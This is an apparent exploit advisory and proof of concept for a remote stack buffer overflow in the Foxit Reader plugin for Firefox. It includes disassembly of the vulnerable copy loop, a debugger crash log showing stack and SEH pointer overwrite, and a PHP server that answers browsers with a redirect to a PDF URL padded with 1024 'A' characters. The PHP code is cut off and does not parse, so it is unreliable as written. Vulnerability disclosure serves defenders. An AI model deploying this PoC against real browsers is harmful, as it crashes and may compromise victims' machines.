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Foxit Reader Plugin For Firefox Buffer Overflow

Foxit Reader Plugin For Firefox Buffer Overflow
Posted Jan 8, 2013
Authored by rgod | Site retrogod.altervista.org

The Foxit Reader plugin for Firefox suffers from an overly long query string remote stack buffer overflow vulnerability in npFoxitReaderPlugin.dll. Versions and below are affected.

tags | exploit, remote, overflow
SHA-256 | 6a542e992542383195aaa18e60759b3a2bfb1211b67ab8744bdec617dbce8df3

Foxit Reader Plugin For Firefox Buffer Overflow

Change Mirror Download
Foxit Reader <= Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod


Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader
Foxit Reader

File: npFoxitReaderPlugin.dll

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

push ebx
push esi
push edi
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
xor ebx,ebx
xor esi,esi
repne scasb
not ecx
dec ecx
test ecx,ecx
jle L100016E4
mov al,[esi+ebp]
mov word ptr [esp+18h],0000h
cmp al,25h
jz L10001661
mov ecx,[esp+1Ch]
mov [ebx+ecx],al
jmp L100016CE
mov al,[esi+ebp+01h]
cmp al,30h
jl L1000166D
cmp al,39h
jle L1000167D
cmp al,41h
jl L10001675
cmp al,46h
jle L1000167D
cmp al,61h
jl L100016C6
cmp al,66h
jg L100016C6
mov dl,[esi+ebp+01h]
inc esi
inc esi
lea ecx,[esp+10h]
mov [esp+18h],dl
push ecx
mov al,[esi+ebp]
lea edx,[esp+1Ch]
push L100450D4
push edx
mov [esp+25h],al
call SUB_L10006421
mov eax,[esp+1Ch]
lea ecx,[esp+24h]
push eax
push L100450D0
push ecx
call SUB_L100063CF
mov eax,[esp+34h]
mov dl,[esp+30h]
add esp,00000018h
mov [ebx+eax],dl
jmp L100016CE
mov ecx,[esp+1Ch]
mov byte ptr [ebx+ecx],25h
inc ebx
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
inc esi
repne scasb
not ecx
dec ecx
cmp esi,ecx
jl L1000164A
mov edx,[esp+1Ch]
pop edi
pop esi
mov eax,00000001h
mov byte ptr [ebx+edx],00h
pop ebx
pop ebp
pop ecx

this copy loop ends up in overwriting stack pointers, then
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=????????
Attempt to write to address 41414141

also SEH pointers are overwritten



$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
"Server: Apache\r\n".
"Location: /x.pdf?".str_repeat("A",1024)."\r\n".
"Content-Type: text/html\r\n\r\n";

$____boom = "HTTP/1.1 200 OK\r\n".
"Server: Apache\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Length: 60137\r\n".
"Content-Type: application/pdf\r\n".
"Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://".$port, $errno, $errstr);

if (!$socket) {
echo "$errstr ($errno)\n";
} else {
echo "Listening on public tcp port ".$port." \n";
while ($conn = stream_socket_accept($socket)) {
echo $line."\n";
if (strpos($line,".pdf")){
else {

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